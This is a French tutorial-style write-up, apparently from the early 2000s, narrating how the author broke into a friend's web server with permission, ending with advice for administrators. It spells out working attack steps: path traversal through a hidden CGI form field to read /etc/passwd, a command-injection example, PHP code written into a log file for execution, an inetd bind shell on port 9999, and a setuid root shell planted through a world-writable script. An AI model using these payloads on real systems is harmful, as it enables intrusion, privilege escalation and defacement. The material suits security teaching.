Piratage live : comment les pirates
parviennent à
"DEFACER"
des sites web avec PERL ET PHP

 

 

Mais comment font-ils pour modifier aussi facilement les pages web sur Internet ? Les captures d'écran de nombreux "défacements" de sites français sont disponibles sur le musée des sites piratés de zataz.com. Ces attaques, pas très discrètes, permettent parfois aux hackers de diffuser leurs idées, mais hélas le plus souvent leur seul but est de mettre leurs pseudos pour une gloire éphémère. Pour ce faire deux types d'attaques sont utilisés. Le but est de gagner des droits en écriture sur le fichier index.html du serveur, pour le modifier.

Première méthode, l'exploitation d'un ou plusieurs bugs d'un serveur tournant sur la machine visée, via des "exploits", permet de lancer des commandes sur la machine avec l'identité de root, le super-utilisateur, et donc de modifier tout le site. Mais si le site est correctement patché les chances d'obtenir un root à distance de cette manière sont faibles.

Deuxième méthode, la seule capable de passer outre un firewall : le pirate travaille uniquement sur l'acces http sur le port 80 (forcément autorisé par le firewall), et utilise les erreurs de configuration du serveur web, les failles des scripts cgi, des Server Side Include et de php.

Remarquez qu'en ce moment les nombreuses failles du serveur web de Microsoft font la joie des scripts-kiddies à la recherche d'un hack facile !

Voici la description garantie 100% authentique du defacage d'un site web, que j'ai mené en quelques heures pour un pote qui voulait tester sa soi-disant sécurité. Cet article sera utile aux administrateurs soucieux de leur sécurité et aux programmeurs de scripts perl, et montre que la sécurité globale d'un site peut etre détruite si un seul utilisateur met en place un script cgi vulnérable. Surveillez vos arrières, sinon un jour votre belle page se trouvera toute barbouillée !

Première étape, un scan de www.monsite.fr avec nmap me montre qu'un firewall filtre les accès depuis Internet, n'autorisant que le ssh et le web. J'apprends en faisant un petit "telnet www.monsite.fr 80" et en tapant "HEAD / HTTP/1.0" que c'est un serveur apache qui tourne sur une distribution red-hat de linux, avec le module PHP4. Pas de failles de sécurité connues. C'est donc parti pour la deuxième méthode, je vais sur la page web des inscriptions du site, où on me demande de remplir une "form", constituée de champs nom, prénom, adresse, etc... L'affichage du source de cette page me donne des renseignements très intéressants.

Tout d'abord, quand on clique sur le bouton "OK" les données sont envoyées par la méthode POST à un script appelé inscriptions .cgi. Les scripts cgi sont des programmes exécutables destinés à être appelés par le serveur web, par exemple dans ce cas pour envoyer un mail prévenant de l'inscription. Ils sont souvent stockés dans le répertoire /cgi-bin du serveur. Ils peuvent être écrits en n'importe quel langage, mais le plus répandu est le perl. Il y a de même les scripts asp sous Windows. Leur problème est qu'ils sont exécutés sur la machine distante, avec les droits d'un utilisateur normal, appelé par exemple "nobody". Si le script perl ne vérifie pas que les paramètres que je lui fournis sont corrects, il y a moyen d'en profiter pour exécuter n'importe quelle commande !

J'ai donc recopié la partie du code html appelant le script cgi sur mon disque dur (pour pouvoir le modifier), en remplaçant l'appel au script par l'url complète où le trouver :

<FORM ACTION=http://www.monsite.fr/cgi-bin/inscriptions.cgi method="post"> <input name=logfile type=hidden value=inscrip.log> <input name=mailto type=hidden value=inscrip@monsite.fr><input name=confirm type=hidden value=confirmation.txt> <input name=subject type=hidden value="Inscriptions"><FONT face="arial","courrier" size=2><FONT COLOR="black"> <img src=ret.gif width=5 height=1>Nom</FONT></font><BR><img src=ret.gif width=10 height=1><input TYPE="text"NAME="nom" SIZE=30 MAXLENG-TH=30 VALUE="">
(...)

Ho ho, intéressant ça, des champs cachés donnent l'adresse où on envoie le mail, le nom d'un fichier de log, et le nom d'un fichier de confirmation, contenant certainement le texte que l'on reçoit par mail : "merci, votre demande va être traitée…"

Mais d'abord, j'ai essayé les failles classiques. Le script étant probablement en perl, il appelle certainement la commande open()pour lire et écrire les fichiers log et confirm, et pour envoyer le mail.

Par exemple,si la commande est open(MAIL,"I sendmail $mailto"), en mettant dans la variable mailto la valeur "toto@rien.fr ;ls" la commande deviendra "sendmail toto@rien.fr ; ls"ce qui enverra le mail mais exécutera aussi la commande "ls" aussitôt après. Voir les références pour une description complète de ce type de failles, mais ce n'est pas ce qui a fonctionné ici.

 

Je me suis donc rabattu sur le champ "confirm" : il ne comportait pas d'indication de path, on peut donc penser que le path était rajouté par le script lui-même, par exemple /www/site/cgi-bin/ confirmation.txt. Mais si je donne comme nom de fichier ../../../etc/passwd...

Oui, victoire, le texte contenu dans le mail de confirmation que je reçois est bien le contenu du fichier de mot de passe ! En effet /www/site/cgi-bin/../../../etc/passwd correspond au fichier /etc/passwd, car le ".." fait revenir en arrière dans l'arborescence des répertoires.

Ca ne m'aide pas beaucoup, car les shadow passwords sont activés, mais ca me permet de lire tous les fichiers et en particulier le code source de inscriptions.cgi. C'est bien un script perl, mais les failles classiques vues au-dessus ne pouvaient pas fonctionner car les fichiers sont toujours ouverts avec une indication de lecture ou d'écriture par un signe inférieur ou supérieur: open(FICHIER, ">$nom"). Et la commande pour envoyer le mail est open(MAIL, "send-mail -t"). Grave erreur cependant, le programmeur faisait confiance aux données venant des champs cachés de la page web... Il n'y avait donc aucune vérification, que ce soit sur le nom du fichier de confirmation ou sur le nom du fichier de log.

Tiens tiens, d'ailleurs ce fichier inscrip.log, que contient-il ? Je regarde et je vois, comme prévu, tous les champs nom, pré-nom, etc.... que je fournis. En remplaçant inscrip.log par ../index.html, je peux donc écrire sur ce fichier, l'affaire est dans le sac !? Non, pas si vite, le script tourne avec les droits de l'utilisateur www (comme je l'ai su par la suite), il ne peut donc pas écrire dans un fichier possédé par un autre utilisateur, ce qui était le cas. En plus, le fichier de log créé a un formatage spécial rajoute par le script, pas très adapté à une page html... Par contre, le répertoire cgi-bin doit appartenir à l'utilisateur www, puisque c'est là-dedans que le fichier de log est créé. Tiens, d'ailleurs, cela veut dire que je peux y accéder depuis mon navigateur préféré ! Et oui, l'adresse http://www.monsite.fr/cgi-bin/inscrip.log m'affiche le log de toutes les personnes qui se sont inscrites... Quelle erreur de placer un tel fichier à cet endroit !

Bon, c'est maintenant qu'il faut se souvenir du début. PHP est activé sur ce serveur... Un coup d'œil au fichier de configuration d'apache m'informe que tous les fichiers ayant une extension .html seront d'abord parsé par le module php avant d'être envoyés. C'est-à-dire que si la page html demandée contient une commande php du type <?phpinfo()?>, elle sera exécutée sur la machine locale par le module php.

La solution est alors simple : j'ai remplacé "inscrip.log" par "test.html", et dans le champ adresse j'ai écrit la commande: <?system("whereis inetd");?>. Ensuite, je vais avec mon browser a l'adresse http://www.monsite.fr/cgi-bin/test.html. Et la, surprise, ca fonctionne nickel, voila ce que j'obtiens : |||inetd: /usr/sbin/inetd /etc/inetd.conf/usr/share/man/man8/inetd.8.gz ||Wed Jun 13 00:57:26 2001|

Je peux donc exécuter des commandes !! Mais comment simplifier tout ca ? En ouvrant un shell grâce à inetd sur un port élevé :

<?system("echo 9999 stream tcp nowait www /bin/sh -i > /tmp/conf ");?> <?system("/usr/sbin/inetd /tmp/conf ");?>

Et oui, c'est aussi simple que cela ! Je peux maintenant me connecter en telnet sur le site, avec l'identité de www, sans avoir à fournir de mot de passe. (Quand une connexion est réalisée sur le port 9999, le démon inetd va lancer le programme spécifié pour gérer la connexion, ici le shell interactif "/bin/sh -i").

telnet www.monsite.fr 9999
ls /;
bin
boot
dev
etc
(...)

id;
uid=25(www) gid=25(www)
groups=25(www)

cd /root;
ls -la
total 147
drwxr-xr-x 6 nobody root 1024 Jun 12 22:35 .
drwxr-xr-x 20 root root 1024 Jun 11 15:27 ..
-rw------- 1 root root 7862 Jun 12 22:37 .bash_history
-rw-r--r-- 1 root root 292 May 18 1999 .profile
drwxr-xr-x 2 root root 1024 May 18 1999 .ssh
(...)

lastlog |grep root;
root **Never logged
in**

Quoi, root ne s'est jamais loggé alors que son .bash_history date du jour même ?

last |head;
macaroni ftpd9546 Wed Jun 13 00:04 -00: 11 (00:06)
nico pts/1 Tue Jun 12 22:33 - 22:37 (00:03)
(...)

Voila, on a trouvé l'admin, c'est mon pote nico qui a fait un "su root" une fois connecté.

cd ~nico;

ls -la;
(...)
-rwxrwxrwx 1 nico nico 1272 Jan 18 2000 addcool
(...)
cat addcool | head -n 1;
#!/bin/sh

Quel blaireau, vraiment ! addcool est un script shell sur lequel tout le monde peut écrire ! Et bien sur, comme il sert à ajouter des users, il le lance en étant root... Pas besoin de se casser la tete, il ne me restait plus qu'à modifier le script pour créer un shell setuid dans un répertoire ( "cp /bin/sh/usr/bin/sh; chmod u+s /usr/bin/sh". Quand on lance programme setuid, on obtient l'identité de l'utilisateur qui possède le prog, ici root. ) Quelques jours après, je me connecte et je lance /usr/bin/sh... oui, ca y est, je suis root ! Donc je peux modifier sa page web... mais je ne le fais pas et je lui passe un petit coup de fil.

Voilà, vous savez maintenant ce qu'il vous reste à faire pour protéger votre site ! Les scripts cgi doivent être utilisés avec beaucoup de précautions, surtout ceux que l'on trouve sur Internet et qui ne sont pas forcement bien conçus. Petit message aux pirates qui défacent des sites comme cela : envoyez plutôt un mail à l'administrateur pour le prévenir du problème, ce sera plus constructif qu'un défacement facile et inutile qui va vivre quelques heures grand maximum, et va faire perdre un temps fou à un pov' stagiaire qu'avait rien demandé pour vérifier l'intégrité du système... (c'est du vécu ! ;-) De toute façon, il faut tester ce genre de choses sur les sites de potes qui sont au courant : allez expliquer au juge que vous auriez prévenu l'administrateur si vous aviez abouti dans votre tentative de hack...

Références :

- L'article sur les failles des scripts cgi de linux mag.
- L'article du phrack 55 sur le même thème.
- Le texte de __2 sur le hack de madchat, dispo sur ouah.

 

 

FozZy